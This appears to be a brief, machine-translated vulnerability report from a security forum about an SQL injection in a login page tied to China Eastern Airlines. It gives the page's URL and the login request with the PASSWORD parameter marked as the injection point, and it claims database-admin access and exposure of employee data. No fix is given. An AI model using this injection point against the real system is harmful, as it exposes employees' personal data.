An SQL injection tool (dba permission) for a system of China Eastern Airlines)

An SQL injection tool (dba permission) for a system of China Eastern Airlines)

This should be a homepage ....
Leaked a large amount of information about the company's employees .....

Http://bus.satrip.com/login/login.aspx

_ VIEWSTATE = % blank % 2FaFpHpi1Sy % 2 BBrWwIlz % 2 Bnxc % 3D & __ EVENTVALIDATION = % blank & USERNAME = 111 & PASSWORD = 1 * & buttonlogin = % E7 % 99% BB % e9 % 99% 86

PASSWORD parameter

 

 

 

 

 

Solution:

Everyone knows...